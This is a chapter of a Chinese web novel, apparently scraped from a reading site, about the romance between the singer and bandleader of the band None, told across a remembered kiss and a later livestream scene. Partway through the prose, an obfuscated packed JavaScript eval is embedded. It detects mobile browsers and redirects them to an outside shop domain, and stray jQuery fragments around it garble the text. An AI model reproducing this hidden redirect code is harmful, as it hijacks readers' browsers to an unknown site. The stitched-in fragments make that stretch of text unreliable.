上次接吻是上辈子。
上辈子的什么时候……谢未雨有点忘了。
印象中也是一个雨夜，几个人在练习室排练新歌。
谢未雨总觉得差了点意思，心情不好，柏文信和江敦打算出去吃点东西找找感觉。
等贝斯手和鼓手关上门，谢未雨摘下立麦上的话筒，大喊了一声樊哥。
室内开了氛围灯，回响着他幼稚的拖音。
贺京来放下吉他走过来，主唱站在高一级的台阶上，正好弥补了他和队长的身高差。
谢未雨居高临下地望着贺京来，又一遍遍喊他的名字。
“樊哥樊哥樊哥。”
“小半小半小半。”
“樊……”
贺京来拿走他的话筒，问干什么。
谢未雨往前一倾，抱住贺京来的脖子，亲吻的声音被话筒放大。
话筒很快被贺京来放回了立麦架，没关。
咚的一声。
他们在队友回来之前接了好长时间的吻，带着漱口水的味道，凉飕飕的。
贺京来问：“有这么不高兴吗？”
他的手指梳着主唱新剪的头发，细软的发缠在指尖，贺京来喜欢这种纠缠，但他不会说。
“烦死了，总是唱不上去，又有人要骂我退步了。”
谢未雨抿了抿唇，没有亲够，依然保持倾身的动作靠在贺京来的肩头。
夏天外面忽然下急雨，打在练习室的窗上，江敦和柏文信一时半会是回不来了。
None最后一场巡演定在港市，公司要求他们把之前未公开的demo作为收尾。
这首歌是谢未雨写的曲子，贺京来填的词，名字是未尽之语。
灵感是谢未雨吃串的灵光一现，他想要挑战不同的唱法。
制作人听了很满意，高层也满意，最后歌做出来，不满意的成了主唱。
“音乐总监提议降key，可那也太没面子了。”
谢未雨在外快人快语，内地的采访稿子都不一定正常发挥，总会抖出一些惊人的内容。
譬如队长的起床气和强迫症，走野兽路线的鼓手不敢骑自行车，还有老好人贝斯手喜欢看别人被吓到的表情。
过于成熟的乐队什么都完美，只有主唱不是完美主义。
乐队就是要独特个性，谢未雨演出的瑕疵都成了回票价。
他太年轻，顽劣又漂亮，可爱又刁钻，哪怕粉丝也有比谢未雨小的，依然爱他台上的拽样。
队友们主唱抖出来的乐队秘闻，还会附和插科打诨，再大的会场似乎都能变成派对。
“你还会怕别人骂你？”
贺京来笑着说，有一搭没一搭掐着谢未雨的后颈。
他头发是谢未雨指定的蓝金渐变试色，也会是港市演唱会限定，目前尚未和造型团队确认。
“要降就试试，明天就要去录音了。”
“不想唱了，想出去玩。”
谢未雨烦躁地咬了一口贺京来的耳垂，男人身体一颤，托住了主唱软下来的身体。
他的语气更无奈了，“去哪里玩？”
谢未雨：“和樊哥玩。”
他早就成年了，不知道为什么贺京来总在那方面很克制。
“我们回家好不好？”谢未雨的腿也挂到了贺京来身上，“求求你了。”
谢未雨很爱撒娇，但贺京来更了解谢未雨的野性和无理取闹。
每一次率先开口的是他，怕失控不要到最后的也是他。
贺京来只能小心翼翼，他知道以后机会多的是。
一起长大的竹马从来拿捏不了任性的小鸟，只能收拢双手，把人抱起来，“不好，明天录音。”
“我不会叫到嗓子哑的。”谢未雨大声保证。
边上的话筒还是开着的，贺京来迅速关掉了电源，垂眼对上谢未雨得逞的表情。
对方眨眼也得意，“那证明樊哥很厉害，你不应该高兴吗？”
贺京来不说话，谢未雨开始倒计时：“十、九、八……”
三秒谢未雨给贺京来沉默的最后期限。
最后一秒贺京来说：“走吧。”
谢未雨：“下雨啦。”
贺京来：“再作就不做了。”
变成人的第十三年，读过书的小鸟也能听懂是哪一个词。
他抱紧贺京来，贴在他的耳边说：“那樊哥来我这里坐一会啊。”
贺京来不动声色地掐了他一下，改抱变成背，关上练习室的门，“你自己和文信还有江敦说。”
谢未雨搓他的头发说：“有什么好说的，他们也不想练习，看我们不在肯定会回去打游戏。”
这年乐队早就实现了财富自由，谢未雨变成人来到这个世界就没有和贺京来分开过。
谁都知道他们形影不离，住也要住在一起。
同性不可以结婚的年代，他们是差四岁的哥哥和弟弟，粉丝清楚他们的故事。
孤儿小谢，失去双亲的京来，他们相遇在一个叫归莱的小巷子。
贺京来父母意外去世后，被开洗衣店的舅舅接回家，他在某天捡到了一个小朋友。
巷子里的阿婆收养了谢未雨，他们成了邻居。
他们就这样，一起长大了。
公司的练习室在高层，深夜偶尔也有其他艺人在公司，见到电梯里背着主唱的None队长也见怪不怪。
谢未雨趁着同事低头看手机，咬着贺京来的耳廓，感受对方肌肉紧绷，和类似敲打的一捏。
他笑得开心，贺京来冲同事颔首致歉，艺人之间早就默认他们关系的不寻常，不会多问。
出大楼的时候外面还在下雨，站在对面便利店门口抽烟的江敦踢了一脚正在逗流浪狗的柏文信，“收工了。”
戴眼镜的贝斯手茫然道：“什么？”
江敦手指夹着烟指了指对面停下的出租车，“我就知道谢未雨不想干了。”
柏文信抬眼正好看到把主唱塞进车的队长，贺京来似有所感，在雨幕中和他点头。
“给我一根。”柏文信拿走江敦衬衫口袋的烟，“希望我们主唱明天嗓子是好的。”
江敦哼了一声，烟灰被风吹来的雨压下，他的断眉扬起，恶狠狠说：“樊京来真会蛊惑小谢。”
None都是流浪动物，四个人凑在一起都凑不出一对父母。
队长父母去世，主唱直接父母不详。
贝斯手父亲早逝，母亲病重，鼓手父亲是个赌鬼，母亲早跑了。
这些似乎都成了乐队的背景，但没人能否认谢未雨的重要，他是None的灵魂。
柏文信笑了，“队长被小谢捏得死死的，怎么是他蛊惑了？”
江敦吐出一个烟圈，“才不是，樊京来鬼得很，把小谢宠得无法无天，什么都不会，只会唱歌，就离不开他了。”
“我看万一哪天小谢跑了，他怎么办。”
柏文信：“说点好听的吧，小谢跑了我们乐队就散了。”
江敦：“行吧，那就早点同性合法，让他们在巡演官宣，够轰轰烈烈吧。”
柏文信低头给队长发短信：不要太纵容小谢，明天还要录音。
贺京来在车内攥住谢未雨钻进他T恤里的手，单手回复：知道。
手机掉在一边，贺京来把人钳在怀里，终于忍不住点评：“你吻技很差。”
谢未雨脸皮厚得不同寻常，闭上眼说：“那是你没教好。”
什么都是樊哥的错。
谢未雨就是这样的人，但他很聪明，吻技可以装作很差。
/
这是又一轮的第十三年。
在直播间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592926|142951||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黑屏的短短三十秒。
谢未雨强行贴上阔别多年恋人的唇。
《未尽之语》是None最后一首歌，没有重置版，因为那天之后，乐队解散了。
贺京来无数次后悔取这个名字。
他的本意是谐音。
他的小谢，是下不完的雨，谢未雨说不好听，显得我总湿漉漉的。
说完又笑，樊哥是很喜欢把我弄得湿漉漉的。
这话不好回复，贺京来只好划掉了这个名字，雨水变成语言，真的什么都说不出了。
这样的亲密比说我是谢未雨更好确认。
贺京来错愕地望着捧着他脸的年轻面容。
先发制人的人嘴唇微红，没事人一般从他身上下去，把一边的破吉他重新放到膝上，降下了那块隔板。
正好车开到了机场停下，直播间的观众重见天日，看到的就是打开门先下去的乐队主唱。
随行摄像都忘了追上去，车内一片死寂。
拍不到直播间选手什么模样，但导师经历了什么一目了然。
「我的天呐，这是可以播的吗？」
「刚才的声音，就很……啊啊啊啊啊！」
「果然没猜错。」
「岑末雨这么野？他跳桥后直接想开了啊？是不是想太开了？」
「能不能出个其他选手看这一幕的实况啊？不能我一个人目瞪口呆。」
直播间弹幕刷得太快，人在演播室的柏文信都快裂开了。
导播喊了他好几声，也很为难，“柏老师，这怎么搞？”
“实时趋势全部第一，从商业角度……”
别说观众疯了，柏文信都觉得岑末雨疯了，他更怕贺京来疯了。
就算直播摄像追上了选手，他脑子里都是领带布满被拽后褶皱的贺京来，还有难以忽略的微红嘴唇。
理智告诉他不存在什么超自然可能，不然这个世界都疯了。
情感上他脑子里全是死去的那个人。
只有谢未雨敢这么做。
全世界的人都怕现在的贺京来，也只有谢未雨敢大逆不道玩弄他的樊哥。
“柏老师，宣传那边问你可不可以用这个做爆点，又担心京来先生……”
广告商都快笑开花了，这完全是泼天的流量，这一季稳赚不赔。
岑末雨干出这种事，也让他的热度更上一层楼，节目组招商部电话不停，全是问可不可以找岑末雨录产品广告的。
柏文信捏了捏眉心，“可以。”
小谢以前总说自己不是人，以前的柏文信也没有放在心上。
玩笑而已。
后来贺京来的不祭奠小谢他只当对方悲痛欲绝，不敢相信。
那万一小谢真的可以回来呢？
柏文信咬了咬牙，也想赌这个极不可能的可能，“追责我担着。”
等谢未雨上了直飞覆盆岛的飞机，其他选手已经坐上了轮渡。
贺星楼还惦记着掉队的主唱，打开手机发现头条全是岑末雨。
其他选手也都看向他们这边，这个时候从另一个城市工作完过来的付泽宇也刚上轮渡。
他趁着直播还未启动走到贺星楼面前，对方也在看谢未雨的个人直播间的回放。
用刺激都不能概括，纯粹是玩心跳。
贺星楼都快吓死了，他白着一张脸，想：完了，我不会也要被送回贺家吧？
“你们贺家人是不是故意的？”
一道身影走近，贺星楼的领子被付泽宇揪起，对上一双布满血丝的眼。
“付泽宇，你别动手。”
“不要拍。”
“不要打架啊！”
“注意点！”
“什么身份就打架啊？”
“岑末雨亲的是队长小叔，怎么这两人动手了？”